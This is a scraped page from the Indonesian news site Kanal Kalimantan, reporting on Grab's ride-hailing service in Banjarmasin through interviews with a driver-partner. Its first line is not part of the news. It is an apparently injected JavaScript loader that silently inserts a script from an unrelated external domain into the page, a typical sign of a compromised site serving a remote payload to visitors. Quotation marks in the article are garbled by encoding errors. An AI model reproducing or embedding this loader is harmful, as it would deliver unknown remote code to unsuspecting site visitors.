(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Ojek daring sudah menjamur di berbagai kota besar. Begitu juga halnya dengan Banjarmasin, hadirnya Grab di Banjarmasin sejak Juli 2017, hal ini mendapat respon yang baik dari banyak orang.
Sejak berdirinya cabang di Banjarmasin, sejauh ini Grab mendapat respon yang sangat baik dari masyarakat Banjarmasin maupun Banjarbaru.
Salah seorang mitra Grab bercerita sejauh ini pengguna Grab di Banjarmasin begitu ramai “Apalagi kita tahu Banjarmasin banyak didatangi pendatang. Kalau akhir pekan banyak pengunjung ke Duta Mall, Siring, dan tempat-tempat makan,†kata Suprayogi, mitra Grab kepada Kanal Kalimantan.
Jika dibandingkan dengan kota lain, di Banjarmasin Grab cukup kondusif. Sampai dengan saat ini Grab masih mengembangkan diri, ia berharap di Banjarmasin bisa menjadi market leader.
Mitra Grab juga bercerita bahwa Grab berperan aktif dan awarnes dalam memerhatikan mitra-mitranya (driver). Bentuk perhatiannya ini seperti dalam adanya event dan pendekatan lainnya seperti melalui kopdar, apresiasi, dan reward best perform.
“Kita di sini tidak ada yang atasan ataupun bawahan, semuanya setara. Statusnya kemitraan,†aku Yogi.
“Kalau jumlah mitra (driver), saya gak bisa memberikan secara spesifik. Soalnya cuma dari pusat yang bisa narik data. Memang cukup banyak, tapi jumlahnya itu memang sebanding dengan apa yang kita berikan, yaitu tegas terhadap mitra-mitra (driver) yang bermain kecurangan. Kita mau benar-benar menghargai mitra-mitra yang kerja keras dan jujur,†ujar Yogi.
Sejauh ini pelanggaran yang sering terjadi, misalnya seperti ketinggalan barang. “Tapi tidak sepenuhnya kesalahan mitra (driver). Untuk hal itu akunnya kita bekukan sementara, lalu melakukan verifikasi dan klarifikasi ke dua belah pihak. Kita tidak bisa sembarang judge,†akunya.
Grab di Banjarmasin berusaha menjalin hubungan baik itu baik kepada mayarakat dan pemerintahan. “Bukan sepenuhnya untuk meraih keuntungan saja, tapi juga memberikan lapangan pekerjaan yang merata kepada masyarakat,†lanjutnya.
Memang pernah beberapa kali ada kecelakaan lalu lintas. :Namanya musibah, tidak ada yang tahu. Untuk kecelakaan sendiri, misalnya dalam proses order Grab dan terjadi kecelakaan, maka mitra (driver) dan penumpang kita dicover asuransi,†kata Yogi.
Untuk menangani kecurangan yang ada, pihak Grab mempunyai caranya sendiri. “Kita melihat juga bentuk kecurangan dan pelanggaran. Sebelum kita aktifan aplikasinya, kan para mitra (driver) sudah menyetujui kode etik dan aturan yang berlaku seperti keselamatan dan pelayanan. Pihak Garab akan langsung menindak tegas jika terjadi hal-hal seperti pencurian dan pelecehan dari mitra (driver) Grab,†jelasnya.
Grab benar-benar untuk mengekuti aturan yang berlaku seperti mitra-mitra wajib di bawah badan hukum, berbentuk PT maupun koperasi yang bekerja sama dengan Grab dan juga mitra roda empat harus uji KIR. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.